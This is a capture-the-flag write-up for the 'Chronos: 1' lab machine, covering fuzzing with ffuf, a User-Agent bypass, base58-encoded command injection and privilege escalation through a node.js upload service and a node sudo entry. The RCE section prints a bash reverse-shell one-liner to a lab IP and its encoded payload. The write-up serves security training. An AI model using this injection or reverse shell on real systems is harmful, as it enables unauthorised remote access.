Last updated: 15 Apr 24 09:28:02 (UTC)

Write-Up chronos

Chronos: 1

By Lawcky 18/01/24

Introduction

Chronos

Difficulty : Medium

Additionnal info :

Name: Name: Chronos: 1
Release date: 9 Aug 2021
Author: AL1ENUM
Series: Chronos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them


In this write-up

  • nmap
  • nikto
  • ffuf
  • base58
  • node-JS
  • node SUID

Write-UP

FUZZING

with ffuf.
fuzzing on : ‘’/FUZZ" “/FUZZ.txt” “/.FUZZ” “/.FUZZ.txt”

ffuf -w /usr/share/SecLists/Discovery/Web-Content/commont.txt:FUZZ -u http://192.168.1.16/FUZZ

75d06c89b44c302afecbe5c88855cf84.png

88d591b6eb9e4c2604303ad6619cd055.png

in the source code of the index page of the port 8000 we see :

c0eef82e196c797da38d0149cab43d09.png

echo '192.168.1.16 chronos.local' >> /etc/hosts

1d1cf1a73bb696d27e8c45f747d16409.png

dcc7b7dd4f469bd527c4291c61c60caf.png

the default page changes with the new hosts entry,
the permission for the specific page is denied because it is checking user agent as we can see here

ea1cf91bf941f02cc65883e417a56264.png

lets connect with this user-agent

49c4feee7975e22ca63b0ffe970fb71a.png

after changing the user agent to Chronos we can access the page

1ceac4265bd6290f495398be452cc85c.png

0b1703f80f3cf0fb8623e4a0b23e8dc6.png

now lets decrypt the url format

c12be7a09ab299ec0fddb3564112bcd5.png

this is an argument for the date linux command


for some reason the browser kept crashing, after each command injected the web server crash and the vm has to be restarted which means we get 1 try until a reset is needed


RCE

we know that the date command is executed and that the arguments are encoded in base58,

lets encode a reverse shell into base58 and run it on the website.

;bash -c 'bash -i >& /dev/tcp/192.168.1.253/4444 0>&1'

encoded it is :

5nhYKfQBzH6BmbLsTqeyjoqpNb5tSzqVixeEC3bDRyTxC4tyjvv9YtbLU8UNTJmSgeJbVbayC2

93a1c8f44883912ff7c35c9fd7d39b90.png

9e5d7fdb537560f47ad1e531e2a07d4b.png


Privilege Escalation

from www-date to user

c1df56ac85b341a180295c5817223251.png user imera

using the node.js file upload service we can upload a reverse shell on it using this

d7bcc971ff563ac82ea7ac2a8edde2ea.png

7f3145327d481ed024cdb58870280f4e.png

88c786e685b2e59b849ed28b8b6d77d3.png

55592b5a946a0c286062626f131aed60.png

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK first flag found


Privilege Escalation

from imera to root

sudo -l

6c030a492f6c8bfed899e80a07b057e7.png

using the node GTFObin

9b028ca92766aae88702ecfaf4031116.png

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

got second flag